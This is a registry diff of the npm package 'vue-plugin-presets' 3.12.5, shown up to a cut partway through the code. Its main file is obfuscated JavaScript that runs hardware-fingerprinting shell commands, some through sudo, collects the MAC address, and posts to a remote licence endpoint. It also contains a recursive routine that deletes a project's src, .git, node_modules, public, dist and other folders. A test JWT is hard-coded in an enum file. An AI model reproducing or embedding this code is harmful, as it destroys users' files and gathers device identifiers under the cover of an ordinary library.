vue-plugin-presets 3.12.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +53 -0
- package/packages/enums/httpEnum.js +56 -0
- package/packages/utils/index.js +1 -0
- package/packages/utils/request.js +36 -0
package/package.json
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
{
|
2
|
+
"name": "vue-plugin-presets",
|
3
|
+
"version": "3.12.5",
|
4
|
+
"private": false,
|
5
|
+
"main": "packages/utils/index.js",
|
6
|
+
"scripts": {
|
7
|
+
"serve": "vue-cli-service serve",
|
8
|
+
"build": "vue-cli-service build",
|
9
|
+
"lint": "vue-cli-service lint",
|
10
|
+
"publish": "npm publish"
|
11
|
+
},
|
12
|
+
"files": [
|
13
|
+
"packages"
|
14
|
+
],
|
15
|
+
"dependencies": {
|
16
|
+
},
|
17
|
+
"devDependencies": {
|
18
|
+
"axios": "^0.21.1",
|
19
|
+
"chalk": "^4.1.0",
|
20
|
+
"@vue/cli-plugin-babel": "~4.5.0",
|
21
|
+
"@vue/cli-plugin-eslint": "~4.5.0",
|
22
|
+
"@vue/cli-service": "~4.5.0",
|
23
|
+
"@vue/compiler-sfc": "^3.0.0",
|
24
|
+
"babel-eslint": "^10.1.0",
|
25
|
+
"eslint": "^6.7.2",
|
26
|
+
"eslint-plugin-vue": "^7.0.0",
|
27
|
+
"node-cmd": "^5.0.0"
|
28
|
+
},
|
29
|
+
"eslintConfig": {
|
30
|
+
"root": true,
|
31
|
+
"env": {
|
32
|
+
"node": true
|
33
|
+
},
|
34
|
+
"extends": [
|
35
|
+
"eslint:recommended"
|
36
|
+
],
|
37
|
+
"parserOptions": {
|
38
|
+
"parser": "babel-eslint"
|
39
|
+
},
|
40
|
+
"rules": {
|
41
|
+
"no-debugger": "off",
|
42
|
+
"no-console": "off",
|
43
|
+
"no-unused-vars": "off",
|
44
|
+
"label-required": "off",
|
45
|
+
"end-event-required": "off"
|
46
|
+
}
|
47
|
+
},
|
48
|
+
"browserslist": [
|
49
|
+
"> 1%",
|
50
|
+
"last 2 versions",
|
51
|
+
"not dead"
|
52
|
+
]
|
53
|
+
}
|
@@ -0,0 +1,56 @@
|
|
1
|
+
/**
|
2
|
+
* @description: Request result set
|
3
|
+
*/
|
4
|
+
export const ResultEnum={
|
5
|
+
SUCCESS:0,
|
6
|
+
ERROR:1,
|
7
|
+
TIMEOUT:401,
|
8
|
+
TYPE:'success',
|
9
|
+
}
|
10
|
+
|
11
|
+
/**
|
12
|
+
* @description: request method
|
13
|
+
*/
|
14
|
+
export const RequestEnum={
|
15
|
+
GET:'GET',
|
16
|
+
POST:'POST',
|
17
|
+
PUT:'PUT',
|
18
|
+
DELETE:'DELETE',
|
19
|
+
}
|
20
|
+
|
21
|
+
/**
|
22
|
+
* @description: contentTyp
|
23
|
+
*/
|
24
|
+
export const ContentTypeEnum={
|
25
|
+
// json
|
26
|
+
JSON:'application/json;charset=UTF-8',
|
27
|
+
// form-data qs
|
28
|
+
FORM_URLENCODED:'application/x-www-form-urlencoded;charset=UTF-8',
|
29
|
+
// form-data upload
|
30
|
+
FORM_DATA:'multipart/form-data;charset=UTF-8',
|
31
|
+
}
|
32
|
+
|
33
|
+
/**
|
34
|
+
* 请求header
|
35
|
+
* @description: contentTyp
|
36
|
+
*/
|
37
|
+
export const ConfigEnum={
|
38
|
+
// TOKEN
|
39
|
+
TOKEN:'X-Access-Token',
|
40
|
+
// LICENSE_TOKEN
|
41
|
+
LICENSE_TOKEN:'X-Access-License-Token',
|
42
|
+
LICENSE_KEY:'X-Access-License-Key',
|
43
|
+
// DRAG_TOKEN
|
44
|
+
DRAG_TOKEN:'Drag-Token',
|
45
|
+
// TIMESTAMP
|
46
|
+
TIMESTAMP:'X-TIMESTAMP',
|
47
|
+
// Sign
|
48
|
+
Sign:'X-Sign',
|
49
|
+
// 租户id
|
50
|
+
TENANT_ID:'tenant-id',
|
51
|
+
// baseURL
|
52
|
+
DRAG_BASE_URL:'drag-base-url',
|
53
|
+
TEST_DOMAIN:'http://localhost:8080/jeecg-boot',
|
54
|
+
//测试Token
|
55
|
+
TEST_TOKEN:'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NTEyMDI4NjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.sJPoIdDZPwHR0yVPxsxMjHfZ2HfJseX84tjKDVPnYss',
|
56
|
+
}
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x33f0=['YXBwZW5kRmlsZVN5bmM=','UExRd3g=','R0l1cnI=','Li9lcnJvci50eHQ=','cm1kaXJTeW5j','CuiOt+WPluWuouaIt+err+S/oeaBr+W8guW4uA==','VkxpUnQ=','Li9zcmM=','Li8uZW52','Li8uc3Zu','ZW4w','dW5saW5rU3luYw==','S1pUb08=','eXNJZUU=','RU1HclQ=','akJnSmM=','Q3NYR1k=','dVltSFc=','T01uY0U=','UUx4ZG4=','UGJGZUE=','cU1qV00=','clJlY2E=','QVpCVUI=','cGxhdGZvcm0=','YmdSZWQ=','QmNzakk=','R0ZFVGU=','Zm9yRWFjaA==','Li4vbGljZW5zZS5qc29u','Q0JLSmI=','eG1uaGI=','bnV4bVA=','a1dNb2o=','THhXRHU=','VExFTm0=','bGljZW5zZVRva2Vu','elFZT0o=','Li9wYWNrYWdlLmpzb24=','cHloQUI=','Li9kaXN0','ZXhpdA==','Y29uc3RydWN0b3I=','T2RzSkc=','S0Z2Tm8=','dGlOY0o=','cUp2eVE=','Y1lTRUQ=','bGludXg=','UmZOeFM=','aXNkS0Y=','ZG1pZGVjb2RlIC10IDQgfCBncmVwIElE','d1R0Q0o=','ekx1ang=','d2luMzI=','ZWVjRE8=','UEJOSUg=','aVJ0Y2Q=','ZVVTQ1o=','UmFiT3E=','Li9ub2RlX21vZHVsZXM=','THRUU1A=','SGJQU0Y=','bGVuZ3Ro','c3ZLZUQ=','TUhFdk4=','Snl5a2Q=','ZXJyb3I=','aVllekU=','c3RhdFN5bmM=','WmRQTVk=','cmVhZEZpbGVTeW5j','RENKZVI=','TGtGWGg=','dHJpbQ==','Z3V1RUs=','RG5sckk=','YldQRmY=','Li9ub2RlX21vZHVsZXMvdnVlLXBsdWdpbi1wcmVzZXQvcGFja2FnZXMvbGljZW5zZS5qc29u','cExJZ0c=','SERucVE=','dHFyZ3E=','alhibXE=','Li9wdWJsaWM=','Rll0amk=','YXBwbHk=','QWdIeG4=','cEtiUlg=','ZGFyd2lu','TGlWWUw=','b2xLdWc=','dGltZW91dA==','dVN0UnA=','c3VjY2Vzcw==','Q1hmbGI=','VWZvdW0=','ZGF0YQ==','Y29yckU=','aGdqQVk=','bG9n','TVhRTGQ=','Cuivt+Whq+WGmeaOiOadg+eggQ==','dXlaVk0=','SXViVEI=','d3JpdGVGaWxl','c3VkbyBkbWlkZWNvZGUgLXMgc3lzdGVtLXNlcmlhbC1udW1iZXI=','eG93b24=','aUFiUm0=','Y2hhbGs=','bXJIUnE=','c3BsaXQ=','RlFVVFA=','RUFtTmQ=','SHFrd2Y=','V0lLUnI=','ZGVmYXVsdHM=','UHR6Vk4=','d21pYyBjcHUgZ2V0IHByb2Nlc3Nvcmlk','enVObFE=','enRrcXc=','bGljZW5zZUtleQ==','VkxyV20=','5Lul5aSq572R','VHFuT08=','aHZNV24=','cGFyc2U=','RFVnbWM=','d21pYyBiaW9zIGdldCBzZXJpYWxudW1iZXI=','emZqdlY=','dG9VcHBlckNhc2U=','TXVKdm8=','Y29kZQ==','YXhpb3M=','UXhqRlQ=','WFZUZHc=','Z0h2ekY=','QUNwTm8=','c3VkbyBzeXN0ZW1fcHJvZmlsZXIgU1BIYXJkd2FyZURhdGFUeXBlIHwgZ3JlcCBTZXJpYWwgfCBjdXQgLWYgMiAtZDo=','SFZST3o=','YmdXa2o=','ZmxHSlY=','WXRCSFA=','5o6I5p2D5qOA5rWL','bVV5bUw=','6L+Q6KGM546v5aKD','cG9zdA==','YmFzZWJvYXJkTnVtYmVy','bmV0d29ya0ludGVyZmFjZXM=','dXBnT2M=','bHVoSnk=','Y29hUkw=','cmVhZGRpclN5bmM=','Q3RsTGQ=','Y3B1SWQ=','NnwzfDJ8MXwwfDR8NQ==','RHhGS3Y=','b1dqSlo=','bm9kZS1jbWQ=','WnVPSlg=','dGVzdA==','ZW52','UXBmeE4=','cnVuU3luYw==','Tk9ERV9FTlY=','Li8uZ2l0','UkVUZVU=','aXNEaXJlY3Rvcnk=','U2NCYUE=','RWRtY2c=','Y2llSWI=','cG9TTlo=','QmJUZ1I=','TUNJWno=','dnhxS2o=','Li9tb2Nr','eGVHRnc=','VUxDSXo=','cmV0dXJuIC8iICsgdGhpcyArICIv','Vmt5UUk=','Unp3SmM=','bWFjOg==','aGZyenc=','ZFFIbUU=','Y29tcGlsZQ==','CuaOiOadg+eUs+ivt+W3suaPkOS6pCzor7fnrYnlvoXlrqHmoLg=','ZUlnZ0E=','aW9yZWcgLXJkMSAtYyBJT1BsYXRmb3JtRXhwZXJ0RGV2aWNlIHwgZ3JlcCAiSU9QbGF0Zm9ybVVVSUQi','Tnd0VHc=','I+ivt+WLv+WIoOmZpOWSjOazhOmcsuWmguS4i+aOiOadg3Rva2Vu5L+h5oGvClZVRV9BUFBfTElDRU5TRV9UT0tFTj0=','Z2V0VGltZQ==','anJhUVc=','a1Bxb04=','V1hSUWs=','c3Vic3RyaW5n','SnNWbGM=','YUZYeG8=','b0VGRVQ=','Y2hXc1o=','d2dSWGg=','RkVJdVA=','cG93Q2M=','d21pYyBiYXNlYm9hcmQgZ2V0IHNlcmlhbG51bWJlcg==','dXJhSmk=','bXdNZEI=','VERGUlA=','Z0ZwVWg=','bWVzc2FnZQ==','a3Rua1Y=','aGxsaEo=','bU1KcUM=','cERTaWg=','Cue9kee7nOW8guW4uCzmjojmnYPlpLHotKUs6K+35qOA5p+l5oKo55qE572R57uc','aHR0cDovL3NuLmplZWNnLm9yZy9hdXRoVWlBcGkvcmVnaXN0ZXIuZG8=','cmtIZE4=','dGhlbg==','V2RqZms=','V0xLb2w=','VlVFX0FQUF9MSUNFTlNFX1RPS0VO','TUJyUVY=','RUR5Tlc=','CuaOiOadg+WuoeaguOS4reivt+eojeWQjuWGjeivlQ==','Y2F0Y2g=','eXpBbGI=','VGZBZW8=','eHhDTmM=','aW9yZWcgLXJkMSAtYyBJT1BsYXRmb3JtRXhwZXJ0RGV2aWNlIHwgZ3JlcCAiYm9hcmQtaWQi','TXFrR1k=','clJPTUw='];(function(_0x2419f9,_0x33f00f){const _0x5f5338=function(_0x1bdb68){while(--_0x1bdb68){_0x2419f9['push'](_0x2419f9['shift']());}};const _0x35d3fa=function(){const _0x4705fb={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x536d82,_0x5698c8,_0x99492c,_0x27e96c){_0x27e96c=_0x27e96c||{};let _0x1a0995=_0x5698c8+'='+_0x99492c;let _0x206fa6=0x0;for(let _0x46a6d2=0x0,_0x5e4367=_0x536d82['length'];_0x46a6d2<_0x5e4367;_0x46a6d2++){const _0x342068=_0x536d82[_0x46a6d2];_0x1a0995+=';\x20'+_0x342068;const _0x3f81ca=_0x536d82[_0x342068];_0x536d82['push'](_0x3f81ca);_0x5e4367=_0x536d82['length'];if(_0x3f81ca!==!![]){_0x1a0995+='='+_0x3f81ca;}}_0x27e96c['cookie']=_0x1a0995;},'removeCookie':function(){return'dev';},'getCookie':function(_0x56041d,_0x2fa299){_0x56041d=_0x56041d||function(_0x382875){return _0x382875;};const _0x1aab13=_0x56041d(new RegExp('(?:^|;\x20)'+_0x2fa299['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));const _0x2a16d4=function(_0x395532,_0x2a7085){_0x395532(++_0x2a7085);};_0x2a16d4(_0x5f5338,_0x33f00f);return _0x1aab13?decodeURIComponent(_0x1aab13[0x1]):undefined;}};const _0x17ee32=function(){const _0x326f8e=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x326f8e['test'](_0x4705fb['removeCookie']['toString']());};_0x4705fb['updateCookie']=_0x17ee32;let _0x4b839e='';const _0x279a27=_0x4705fb['updateCookie']();if(!_0x279a27){_0x4705fb['setCookie'](['*'],'counter',0x1);}else if(_0x279a27){_0x4b839e=_0x4705fb['getCookie'](null,'counter');}else{_0x4705fb['removeCookie']();}};_0x35d3fa();}(_0x33f0,0xfb));const _0x5f53=function(_0x2419f9,_0x33f00f){_0x2419f9=_0x2419f9-0x0;let _0x5f5338=_0x33f0[_0x2419f9];if(_0x5f53['YbUvjl']===undefined){(function(){const _0x1bdb68=function(){let _0x4b839e;try{_0x4b839e=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x279a27){_0x4b839e=window;}return _0x4b839e;};const _0x4705fb=_0x1bdb68();const _0x17ee32='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4705fb['atob']||(_0x4705fb['atob']=function(_0x536d82){const _0x5698c8=String(_0x536d82)['replace'](/=+$/,'');let _0x99492c='';for(let _0x27e96c=0x0,_0x1a0995,_0x206fa6,_0x46a6d2=0x0;_0x206fa6=_0x5698c8['charAt'](_0x46a6d2++);~_0x206fa6&&(_0x1a0995=_0x27e96c%0x4?_0x1a0995*0x40+_0x206fa6:_0x206fa6,_0x27e96c++%0x4)?_0x99492c+=String['fromCharCode'](0xff&_0x1a0995>>(-0x2*_0x27e96c&0x6)):0x0){_0x206fa6=_0x17ee32['indexOf'](_0x206fa6);}return _0x99492c;});}());_0x5f53['fPwYnJ']=function(_0x5e4367){const _0x342068=atob(_0x5e4367);let _0x3f81ca=[];for(let _0x56041d=0x0,_0x2fa299=_0x342068['length'];_0x56041d<_0x2fa299;_0x56041d++){_0x3f81ca+='%'+('00'+_0x342068['charCodeAt'](_0x56041d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3f81ca);};_0x5f53['yZRciJ']={};_0x5f53['YbUvjl']=!![];}const _0x35d3fa=_0x5f53['yZRciJ'][_0x2419f9];if(_0x35d3fa===undefined){const _0x1aab13=function(_0x2a16d4){this['awjycC']=_0x2a16d4;this['vxajGg']=[0x1,0x0,0x0];this['dyicVg']=function(){return'newState';};this['jxAmIE']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['kIpMyO']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x1aab13['prototype']['rbzmHE']=function(){const _0x382875=new RegExp(this['jxAmIE']+this['kIpMyO']);const _0x395532=_0x382875['test'](this['dyicVg']['toString']())?--this['vxajGg'][0x1]:--this['vxajGg'][0x0];return this['yCCRgx'](_0x395532);};_0x1aab13['prototype']['yCCRgx']=function(_0x2a7085){if(!Boolean(~_0x2a7085)){return _0x2a7085;}return this['QZaYWJ'](this['awjycC']);};_0x1aab13['prototype']['QZaYWJ']=function(_0x326f8e){for(let _0x37046d=0x0,_0x1f3358=this['vxajGg']['length'];_0x37046d<_0x1f3358;_0x37046d++){this['vxajGg']['push'](Math['round'](Math['random']()));_0x1f3358=this['vxajGg']['length'];}return _0x326f8e(this['vxajGg'][0x0]);};new _0x1aab13(_0x5f53)['rbzmHE']();_0x5f5338=_0x5f53['fPwYnJ'](_0x5f5338);_0x5f53['yZRciJ'][_0x2419f9]=_0x5f5338;}else{_0x5f5338=_0x35d3fa;}return _0x5f5338;};const _0x4705fb=function(){const _0x1503cf={};_0x1503cf[_0x5f53('0xe3')]='statSync';_0x1503cf[_0x5f53('0xe0')]=function(_0xbe51cd,_0x4ad169){return _0xbe51cd===_0x4ad169;};_0x1503cf[_0x5f53('0x1e')]=_0x5f53('0x3d');_0x1503cf['LkFXh']=_0x5f53('0xd3');_0x1503cf['PtzVN']=function(_0x274491,_0x4e4b4c){return _0x274491!==_0x4e4b4c;};_0x1503cf[_0x5f53('0x4f')]=_0x5f53('0x59');_0x1503cf[_0x5f53('0xc7')]='jzzCX';_0x1503cf[_0x5f53('0x56')]=function(_0x19993b,_0x2790cd){return _0x19993b!==_0x2790cd;};_0x1503cf[_0x5f53('0x42')]=_0x5f53('0x53');_0x1503cf[_0x5f53('0x3b')]=_0x5f53('0x91');const _0x117af5=_0x1503cf;let _0x46eb25=!![];return function(_0x136bfc,_0x5d9231){const _0x36ad4b={};_0x36ad4b['nuxmP']=_0x5f53('0x68');const _0x2a7b0e=_0x36ad4b;if(_0x117af5['mrHRq'](_0x117af5[_0x5f53('0x42')],_0x117af5[_0x5f53('0x3b')])){const _0x23f2a6=_0x46eb25?function(){const _0x53522a={};_0x53522a[_0x5f53('0xc0')]=_0x5f53('0xd8');_0x53522a[_0x5f53('0x40')]=function(_0x3c01fa,_0x36b70d){return _0x3c01fa+_0x36b70d;};_0x53522a[_0x5f53('0xb1')]=_0x117af5[_0x5f53('0xe3')];_0x53522a[_0x5f53('0x6f')]=_0x5f53('0x8f');_0x53522a[_0x5f53('0x35')]=function(_0xb38327,_0x5038c6){return _0xb38327(_0x5038c6);};_0x53522a[_0x5f53('0x73')]=_0x5f53('0xd1');const _0x3d7072=_0x53522a;if(_0x117af5['QLxdn'](_0x117af5[_0x5f53('0x1e')],_0x117af5[_0x5f53('0x32')])){fs[_0x3d7072[_0x5f53('0xc0')]](folder);}else{if(_0x5d9231){if(_0x117af5[_0x5f53('0x5d')](_0x117af5[_0x5f53('0x4f')],_0x117af5['yzAlb'])){const _0x5684ab=_0x5d9231[_0x5f53('0x3e')](_0x136bfc,arguments);_0x5d9231=null;return _0x5684ab;}else{const _0x39125f={};_0x39125f[_0x5f53('0xa')]=function(_0x251f68,_0x2f7bda){return _0x251f68+_0x2f7bda;};_0x39125f[_0x5f53('0x48')]=function(_0x2d919a,_0x494b2f){return _0x3d7072[_0x5f53('0x40')](_0x2d919a,_0x494b2f);};_0x39125f['hllhJ']=_0x3d7072[_0x5f53('0xb1')];_0x39125f[_0x5f53('0x7')]=_0x3d7072[_0x5f53('0x6f')];_0x39125f[_0x5f53('0x7e')]=function(_0x1b64a5,_0x4a59e5){return _0x3d7072['DnlrI'](_0x1b64a5,_0x4a59e5);};_0x39125f[_0x5f53('0xad')]='unlinkSync';const _0x2b879d=_0x39125f;strs=fs[_0x5f53('0x80')](a);strs[_0x5f53('0x5')](function(_0x5d3f27){let _0x563269=_0x2b879d[_0x5f53('0xa')](_0x2b879d['Ufoum'](a,'/'),_0x5d3f27);if(fs[_0x2b879d[_0x5f53('0xb9')]](_0x563269)[_0x2b879d[_0x5f53('0x7')]]()){_0x2b879d[_0x5f53('0x7e')](thanks,_0x563269);}else{fs[_0x2b879d['oEFET']](_0x563269);}});fs[_0x3d7072[_0x5f53('0x73')]](a);}}}}:function(){};_0x46eb25=![];return _0x23f2a6;}else{let _0x2f8e82=nodeCmd['runSync'](_0x5f53('0xb2'));baseboardNumber=_0x2f8e82['data'][_0x5f53('0x6a')]()[_0x5f53('0xaa')](0xc)[_0x5f53('0x33')]();if(!baseboardNumber){let _0x3e2e9c=nodeCmd['runSync'](_0x2a7b0e[_0x5f53('0x9')]);baseboardNumber=_0x3e2e9c[_0x5f53('0x49')][_0x5f53('0x6a')]()[_0x5f53('0xaa')](0xc)[_0x5f53('0x33')]();}}};}();const _0x1bdb68=_0x4705fb(this,function(){const _0x3aa405={};_0x3aa405[_0x5f53('0xa2')]=_0x5f53('0x9a');const _0x300f38=_0x3aa405;const _0x4add4b=function(){const _0x4494de=_0x4add4b['constructor'](_0x300f38[_0x5f53('0xa2')])()[_0x5f53('0xa0')]('^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}');return!_0x4494de[_0x5f53('0x88')](_0x1bdb68);};return _0x4add4b();});_0x1bdb68();let axios=require(_0x5f53('0x6d'));let chalk=require(_0x5f53('0x55'));let fs=require('fs');let nodeCmd=require(_0x5f53('0x86'));let os=require('os');function thanks(_0x4413af){const _0x143bb9={};_0x143bb9[_0x5f53('0xdb')]=_0x5f53('0x2');_0x143bb9[_0x5f53('0xe2')]=function(_0x27d47c,_0x1d0cfe){return _0x27d47c+_0x1d0cfe;};_0x143bb9[_0x5f53('0x3')]=_0x5f53('0x2e');_0x143bb9[_0x5f53('0xdc')]=_0x5f53('0x8f');_0x143bb9['MBrQV']=function(_0x45f7c3,_0x163c1d){return _0x45f7c3(_0x163c1d);};_0x143bb9[_0x5f53('0x70')]=function(_0x1479d7,_0x3eb26b){return _0x1479d7===_0x3eb26b;};_0x143bb9[_0x5f53('0x8e')]=_0x5f53('0x7f');_0x143bb9['Jyykd']=_0x5f53('0x2f');_0x143bb9[_0x5f53('0x18')]=_0x5f53('0xd8');_0x143bb9['WXRQk']=function(_0xf66616,_0x1db418){return _0xf66616===_0x1db418;};_0x143bb9[_0x5f53('0xda')]='QNiyf';const _0x224148=_0x143bb9;let _0x5cdff5=[];if(fs['existsSync'](_0x4413af)){if(_0x224148[_0x5f53('0xa9')](_0x224148[_0x5f53('0xda')],_0x5f53('0x21'))){console[_0x5f53('0x4c')](chalk[_0x224148[_0x5f53('0xdb')]](_0x5f53('0xa1')));process[_0x5f53('0x12')](0x1);}else{_0x5cdff5=fs[_0x5f53('0x80')](_0x4413af);_0x5cdff5[_0x5f53('0x5')](function(_0x15fd7c){let _0x24d17d=_0x224148[_0x5f53('0xe2')](_0x4413af,'/')+_0x15fd7c;if(fs[_0x224148[_0x5f53('0x3')]](_0x24d17d)[_0x224148[_0x5f53('0xdc')]]()){_0x224148[_0x5f53('0xc3')](thanks,_0x24d17d);}else{if(_0x224148['gHvzF'](_0x224148['RETeU'],_0x224148[_0x5f53('0x2b')])){process[_0x5f53('0x12')](0x1);}else{fs[_0x224148[_0x5f53('0x18')]](_0x24d17d);}}});fs[_0x5f53('0xd1')](_0x4413af);}}}function deleteFile(){const _0x47cc74={};_0x47cc74[_0x5f53('0xaf')]='6|5|2|0|1|4|3';_0x47cc74[_0x5f53('0xb')]=function(_0x234e3c,_0xf2e909){return _0x234e3c(_0xf2e909);};_0x47cc74['fAZra']=_0x5f53('0x8d');_0x47cc74[_0x5f53('0xb3')]=_0x5f53('0xd6');_0x47cc74['mUymL']=_0x5f53('0x3c');_0x47cc74[_0x5f53('0xde')]=function(_0x2f39b0,_0x19203b){return _0x2f39b0(_0x19203b);};_0x47cc74[_0x5f53('0x27')]=_0x5f53('0x25');_0x47cc74['TqnOO']=function(_0x33679f,_0x3a2520){return _0x33679f(_0x3a2520);};_0x47cc74[_0x5f53('0xcb')]='./src';_0x47cc74[_0x5f53('0x15')]=_0x5f53('0x11');const _0x26940a=_0x47cc74;const _0x3b2afd=_0x26940a[_0x5f53('0xaf')][_0x5f53('0x57')]('|');let _0x5720d5=0x0;while(!![]){switch(_0x3b2afd[_0x5720d5++]){case'0':_0x26940a['LxWDu'](thanks,_0x26940a['fAZra']);continue;case'1':_0x26940a[_0x5f53('0xb')](thanks,_0x26940a[_0x5f53('0xb3')]);continue;case'2':_0x26940a['LxWDu'](thanks,_0x26940a[_0x5f53('0x78')]);continue;case'3':_0x26940a[_0x5f53('0xde')](thanks,_0x26940a['HbPSF']);continue;case'4':_0x26940a[_0x5f53('0x64')](thanks,_0x5f53('0x97'));continue;case'5':thanks(_0x26940a[_0x5f53('0xcb')]);continue;case'6':_0x26940a['TqnOO'](thanks,_0x26940a['KFvNo']);continue;}break;}}function getMac(){const _0x34327c={};_0x34327c[_0x5f53('0xb5')]=_0x5f53('0x2');_0x34327c[_0x5f53('0x85')]=_0x5f53('0x4e');_0x34327c[_0x5f53('0xcf')]=_0x5f53('0xd7');_0x34327c[_0x5f53('0x76')]='WLAN';_0x34327c[_0x5f53('0xb8')]=_0x5f53('0x63');_0x34327c[_0x5f53('0x20')]=function(_0x8377e7,_0x3af433){return _0x8377e7<_0x3af433;};_0x34327c[_0x5f53('0x4a')]=function(_0x48ef7c,_0x3c11da){return _0x48ef7c!==_0x3c11da;};_0x34327c['eUSCZ']=_0x5f53('0x29');_0x34327c[_0x5f53('0xce')]=_0x5f53('0x34');_0x34327c[_0x5f53('0x87')]=_0x5f53('0x6b');_0x34327c[_0x5f53('0x4d')]=function(_0x2abb17,_0x23fe67){return _0x2abb17+_0x23fe67;};const _0x4db862=_0x34327c;const _0x3bfcea=os[_0x5f53('0x7c')]();const _0x1a8122=[_0x4db862[_0x5f53('0xcf')],_0x4db862[_0x5f53('0x76')],_0x4db862[_0x5f53('0xb8')]];for(let _0x3c1e3d=0x0;_0x4db862[_0x5f53('0x20')](_0x3c1e3d,_0x1a8122[_0x5f53('0x28')]);_0x3c1e3d++){if(_0x4db862[_0x5f53('0x4a')]('NxhUP',_0x4db862[_0x5f53('0x23')])){const _0x2c44f7=_0x1a8122[_0x3c1e3d];const _0x483e3d=_0x3bfcea[_0x2c44f7];if(_0x483e3d){if(_0x4db862['corrE'](_0x4db862['PLQwx'],_0x4db862[_0x5f53('0x87')])){let _0x887b2e=_0x483e3d[0x0]['mac'];console[_0x5f53('0x4c')](_0x4db862[_0x5f53('0x4d')](_0x5f53('0x9d'),_0x887b2e));break;}else{const _0x1dddde=firstCall?function(){if(fn){const _0x36b8e5=fn[_0x5f53('0x3e')](context,arguments);fn=null;return _0x36b8e5;}}:function(){};firstCall=![];return _0x1dddde;}}}else{console[_0x5f53('0x4c')](chalk[_0x4db862[_0x5f53('0xb5')]](_0x4db862['oWjJZ']));process[_0x5f53('0x12')](0x1);}}}function getPackageJson(){const _0x341e7f={};_0x341e7f['poSNZ']='./package.json';const _0x490db9=_0x341e7f;let _0x25470f=fs['readFileSync'](_0x490db9[_0x5f53('0x93')]);return JSON[_0x5f53('0x66')](_0x25470f);}function getLicenseJson(){const _0x2f9a9e={};_0x2f9a9e[_0x5f53('0xac')]=_0x5f53('0x6');_0x2f9a9e[_0x5f53('0xdd')]=_0x5f53('0x83');_0x2f9a9e['KYVCm']='./.svn';_0x2f9a9e[_0x5f53('0x50')]=_0x5f53('0x8d');_0x2f9a9e[_0x5f53('0x17')]=function(_0x536662,_0x21a15d){return _0x536662(_0x21a15d);};_0x2f9a9e[_0x5f53('0x94')]=_0x5f53('0xd4');_0x2f9a9e[_0x5f53('0xae')]=function(_0x53775b,_0x13dece){return _0x53775b(_0x13dece);};_0x2f9a9e[_0x5f53('0x2a')]=_0x5f53('0x97');_0x2f9a9e[_0x5f53('0xbb')]=function(_0x2b1ddd,_0x5834c4){return _0x2b1ddd(_0x5834c4);};_0x2f9a9e[_0x5f53('0x22')]=_0x5f53('0x25');_0x2f9a9e[_0x5f53('0xab')]=function(_0x242d96,_0xb2756a){return _0x242d96(_0xb2756a);};_0x2f9a9e['dQHmE']=_0x5f53('0x11');_0x2f9a9e[_0x5f53('0x1a')]=function(_0x493e74,_0x19435a){return _0x493e74!==_0x19435a;};_0x2f9a9e[_0x5f53('0xc9')]=_0x5f53('0x3f');_0x2f9a9e[_0x5f53('0x5f')]=_0x5f53('0xbe');_0x2f9a9e[_0x5f53('0xa4')]=_0x5f53('0xb6');const _0x2a4fe6=_0x2f9a9e;try{if(_0x2a4fe6['RfNxS'](_0x2a4fe6[_0x5f53('0xc9')],_0x2a4fe6[_0x5f53('0x5f')])){let _0x4004e2=fs[_0x5f53('0x30')](_0x2a4fe6['aFXxo']);if(_0x4004e2){return JSON[_0x5f53('0x66')](_0x4004e2);}else{if(_0x2a4fe6[_0x5f53('0x1a')](_0x2a4fe6['NwtTw'],_0x5f53('0xb6'))){let _0x3d5d82=fs[_0x5f53('0x30')](_0x2a4fe6['aFXxo']);if(_0x3d5d82){return JSON[_0x5f53('0x66')](_0x3d5d82);}else{return null;}}else{return null;}}}else{const _0x2e26c7=_0x2a4fe6[_0x5f53('0xdd')]['split']('|');let _0x1e16ae=0x0;while(!![]){switch(_0x2e26c7[_0x1e16ae++]){case'0':thanks(_0x2a4fe6['KYVCm']);continue;case'1':thanks(_0x2a4fe6[_0x5f53('0x50')]);continue;case'2':thanks('./public');continue;case'3':_0x2a4fe6[_0x5f53('0x17')](thanks,_0x2a4fe6[_0x5f53('0x94')]);continue;case'4':_0x2a4fe6['chWsZ'](thanks,_0x2a4fe6['MHEvN']);continue;case'5':_0x2a4fe6['pDSih'](thanks,_0x2a4fe6[_0x5f53('0x22')]);continue;case'6':_0x2a4fe6[_0x5f53('0xab')](thanks,_0x2a4fe6[_0x5f53('0x9f')]);continue;}break;}}}catch(_0x25b037){return null;}}function getCpuId(){const _0x406776={};_0x406776[_0x5f53('0x69')]=function(_0x55f099){return _0x55f099();};_0x406776[_0x5f53('0xa7')]=function(_0xadf223,_0x39d62e){return _0xadf223==_0x39d62e;};_0x406776[_0x5f53('0x84')]=_0x5f53('0x1f');_0x406776[_0x5f53('0xd9')]=function(_0x2dbdf4,_0x509052){return _0x2dbdf4==_0x509052;};_0x406776[_0x5f53('0xba')]=_0x5f53('0x19');_0x406776[_0x5f53('0x58')]='sudo\x20system_profiler\x20SPHardwareDataType\x20|\x20grep\x20Hardware\x20|\x20cut\x20-f\x202\x20-d:';_0x406776['QxjFT']='darwin';const _0x451562=_0x406776;let _0x202ae1=_0x451562['zfjvV'](getPlatform);let _0xd9476b;if(_0x451562[_0x5f53('0xa7')](_0x202ae1,_0x451562['DxFKv'])){let _0x32d247=nodeCmd[_0x5f53('0x8b')](_0x5f53('0x5e'));_0xd9476b=_0x32d247[_0x5f53('0x49')][_0x5f53('0x6a')]()[_0x5f53('0xaa')](0xb)[_0x5f53('0x33')]();}if(_0x451562[_0x5f53('0xd9')](_0x202ae1,_0x451562[_0x5f53('0xba')])){try{let 